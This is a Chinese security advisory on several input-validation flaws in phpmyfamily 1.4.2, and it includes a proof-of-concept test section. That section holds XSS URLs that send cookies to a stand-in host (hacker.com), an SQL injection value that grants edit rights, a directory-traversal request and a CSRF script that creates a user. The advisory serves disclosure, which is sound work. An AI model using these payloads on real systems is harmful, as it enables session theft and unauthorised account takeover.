安全研究

安全漏洞
phpmyfamily多个输入验证漏洞

发布日期:2010-09-17
更新日期:2010-09-19

受影响系统:
phpmyfamily phpmyfamily 1.4.2
描述:
BUGTRAQ  ID: 43293

phpmyfamily是一个动态家谱Web站点构建工具,可以让地理分散的家庭成员合作并共享研究。

phpmyfamily中存在多个输入验证错误,远程攻击者可以通过提交恶意参数请求执行SQL注入、跨站脚本、目录遍历、跨站请求伪造等攻击。

1) 没有正确地过滤提交给inc/passwdform.inc.php脚本的reason参数、提交给mail.php脚本的referer参数和提交给track.php脚本的person参数便返回给了用户,这可能导致跨站脚本攻击。

2) phpmyfamily未经执行有效性检查便允许用户通过HTTP请求执行某些操作,这可能导致跨站请求伪造攻击。

3) 当func设置为email时,phpmyfamily没有正确的过滤提交给my.php的pwdEmail参数,这可能导致SQL注入攻击。

4) 在action设置为unsub且在设置了person的情况下,phpmyfamily没有正确的过滤提交给track.php的email参数,这这可能导致SQL注入攻击。

5) 在func设置为delete、area设置为transcript且设置了person的情况下,phpmyfamily没有正确的过滤提交给passthru.php的transcript参数,这这可能导致SQL注入或目录遍历攻击。

<*来源:Abysssec
  
  链接:http://secunia.com/advisories/41449/
        http://www.exploit-db.com/exploits/15029/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://site.com/phpmyfamily/admin/  
http://site.com/phpmyfamily/docs/  
http://site.com/phpmyfamily/images/  
http://site.com/phpmyfamily/inc/  
http://site.com/phpmyfamily/lang/  
http://site.com/phpmyfamily/styles/  
http://SITE.com/phpmyfamily/inc/passwdform.inc.php?reason=<script>document.write("<img src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script>  
http://SITE.com/phpmyfamily/census.php?ref=<script>document.write("<img src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script>  
http://SITE.com/phpmyfamily/mail.php?referer=<SCRIPT CODE>  
http://SITE.com/phpmyfamily/track.php?person=<SCRIPT CODE>  
http://SITE.com/phpmyfamily/people.php?person=1>"><ScRiPt%20%0a%0d>alert(404385187829)%3B</ScRiPt>  
http://SITE.com/phpmyfamily/admin.php?func=ged  
http://SITE.com/phpmyfamily/inc/gedcom.inc.php    
bbb@aa.com',edit='Y'%00  " target="_blank">http://SITE.com/phpmyfamily/my.php?func=email&pwdEmail=bbb@aa.com',edit='Y'%00  

        <form method="post" action="my.php?func=email">  

        <input type="text" name="pwdEmail" value="bbb@aa.com',edit='Y';%00">  

        <input type="submit" value="send">  

        </form>  

http://SITE.com/phpmyfamily/passthru.php?func=delete&area=transcript&person=00002&transcript=../../../file.ext

            <script>  

                function creat_request(path,parameter,method){  

                method = method || "post";  

                var remote_dive = document.createElement('div');  

                remote_dive.id = 'Div_id';  

                var style = 'border:0;width:0;height:0;';  

                remote_dive.innerHTML = "<iframe name='iframename' id='iframeid' style='"+style+"'></iframe>";  

                document.body.appendChild(remote_dive);  

                var form = document.createElement("form");  

                form.setAttribute("method", method);  

                form.setAttribute("action", path);  

                form.setAttribute("target", "iframename");  

                for(var key in parameter)  

                {  

                var hiddenField = document.createElement("input");  

                hiddenField.setAttribute("type", "hidden");  

                hiddenField.setAttribute("name", key);  

                hiddenField.setAttribute("value", parameter[key]);  

                      form.appendChild(hiddenField);  

                    }  

                document.body.appendChild(form);    

                form.submit();  

                }      

                creat_request('http://SITE.com/phpmyfamily/admin.php?func=add',{'pwdUser':'aaaa','pwdEmail':'aa%40sss.com','pwdPwd1':'123','pwdPwd2':'123','pwdEdit':'on','pwdRestricted':'1910-01-01','pwdStyle':'default','Create':'Submit+Query'});  

            </script>

建议:
厂商补丁:

phpmyfamily
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpmyfamily.net/

浏览次数:2531
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障